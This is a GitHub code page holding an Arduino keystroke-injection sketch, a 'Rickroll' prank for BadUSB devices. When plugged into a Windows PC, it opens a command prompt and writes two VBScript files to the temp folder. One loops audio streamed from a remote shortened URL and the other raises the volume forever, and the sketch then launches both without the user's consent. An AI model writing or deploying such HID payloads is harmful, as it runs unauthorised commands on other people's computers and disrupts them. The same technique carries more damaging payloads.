-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathRickroll-MODDED-for-Arduino.ino
131 lines (74 loc) · 1.96 KB
/
Rickroll-MODDED-for-Arduino.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include "Keyboard.h"
void typeKey(int key) {
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup() {
delay(3500);
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
typeKey(KEY_RETURN);
delay(200);
Keyboard.print("CMD");
typeKey(KEY_RETURN);
delay(200);
Keyboard.print("cd %tmp% && copy con rickyou.vbs");
typeKey(KEY_RETURN);
Keyboard.print("While true");
typeKey(KEY_RETURN);
Keyboard.print("Dim oPlayer");
typeKey(KEY_RETURN);
Keyboard.print("Set oPlayer = CreateObject(\"WMPlayer.OCX\")");
typeKey(KEY_RETURN);
Keyboard.print("oPlayer.URL = \"http://tinyurl.com/s63ve48\"");
typeKey(KEY_RETURN);
Keyboard.print("oPlayer.controls.play");
typeKey(KEY_RETURN);
Keyboard.print("While oPlayer.playState <> 1 ' 1 = Stopped");
typeKey(KEY_RETURN);
Keyboard.print("WScript.Sleep 100");
typeKey(KEY_RETURN);
Keyboard.print("Wend");
typeKey(KEY_RETURN);
Keyboard.print("oPlayer.close");
typeKey(KEY_RETURN);
Keyboard.print("Wend");
typeKey(KEY_RETURN);
delay(100);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('z');
Keyboard.releaseAll();
typeKey(KEY_RETURN);
delay(200);
Keyboard.print("copy con volup.vbs");
typeKey(KEY_RETURN);
Keyboard.print("do");
typeKey(KEY_RETURN);
Keyboard.print("Set WshShell = CreateObject(\"WScript.Shell\")");
typeKey(KEY_RETURN);
Keyboard.print("Set WshShell = CreateObject(\"WScript.Shell\")");
typeKey(KEY_RETURN);
Keyboard.print("WshShell.SendKeys(chr(&hAF))");
typeKey(KEY_RETURN);
Keyboard.print("WScript.Sleep 10");
typeKey(KEY_RETURN);
Keyboard.print("loop");
delay(100);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('z');
Keyboard.releaseAll();
typeKey(KEY_RETURN);
delay(200);
Keyboard.print("start rickyou.vbs && volup.vbs");
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}